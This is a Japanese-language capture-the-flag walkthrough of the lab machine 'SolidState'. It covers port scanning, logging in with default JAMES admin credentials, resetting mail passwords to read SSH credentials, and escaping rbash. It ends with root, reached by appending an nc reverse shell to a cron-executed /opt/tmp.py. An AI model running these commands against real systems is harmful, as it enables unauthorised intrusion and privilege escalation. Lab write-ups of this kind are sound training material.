SolidStateはLinuxのマシンで、難易度はmediumです。

・使用ツール
nmap
telnet
pspy
流れとしては、以下のようになっています。
1.nmapでポートスキャン
2.JAMESのデフォルト認証情報を確認
3.デフォルト認証情報でログインし、pop3の認証情報を変更
4.telnetでpop3にログインし、メールにsshの認証情報を確認
5.sshで「sh」オプション使用してログイン
6.pspyのツールをダウンロード
7.pspyで定期的に「/opt/tmp.py」実行している
8.「/opt/tmp.py」にリバースシェルのコードを追記
9.リバーシェルが成功し、root権限を取得
目次
1.Enumeration
nmpaでオープンポートが、22,25,80,110,119,4555であることを確認

nmapのデフォルトスクリプトエンジンを実行(-sC オプション)

JAMES Remote Adminのデフォルトユーザ名、パスワードを検索すると、root/rootであることがわかる。(exploitに記載されている)
https://www.exploit-db.com/exploits/35513
2.Exploitation
ncで4555ポートにアクセスし、root/rootでログイン

HELPコマンドで入力できるコマンドを確認

listusersコマンドでuserを確認

setpasswordコマンドで、各ユーザにパスワードを設定する

telnetで110ポートに接続し、mindy/passでログイン

「RETR 2」で確認すると、メッセージに認証情報が記載。
mindy
P@55W0rd1!2@

確認した認証情報で、sshログインする。

/etc/passwdを確認すると、mindyはrbashを使っていることがわかる。
rbashはコマンドが限られているため、bashを使えるようにする。

「ssh mindy@10.10.10.51 sh」でログインする。
以下の手順でshellをアップグレードする。
1.python -c “import pty; pty.spawn(‘/bin/bash’)”
2.Ctrl + z でシェルをバックグランドにする
3.stty raw -echo
4.fg でシェルをフォアグラウンドにする

3.Privilege Escalation
32bit,64bitか確認する
「i686」なので32bit

HTTPサーバを起動

「curl 10.10.14.7:8000/pspy32 -o pspy32」でpspyの32bit版をダウンロードする

パーミッションを変更し、pspyを実行する。/opt/tmp.pyが定期的に実行されていることが確認できる。


ls -lで確認すると、「/opt/tmp.py」に読込、書込、実行権限があることを確認

「/opt/tmp.py」の中身を確認

以下のコマンドを実行して、/opt/tmp.pyにリバースシェルを実行するようにする
echo “os.system(‘/bin/nc -e /bin/bash 10.10.14.7 808’)” >> /opt/tmp.py
ncコマンドで接続を待ち受ける。

リバーシェルが成功し、root権限であることを確認。
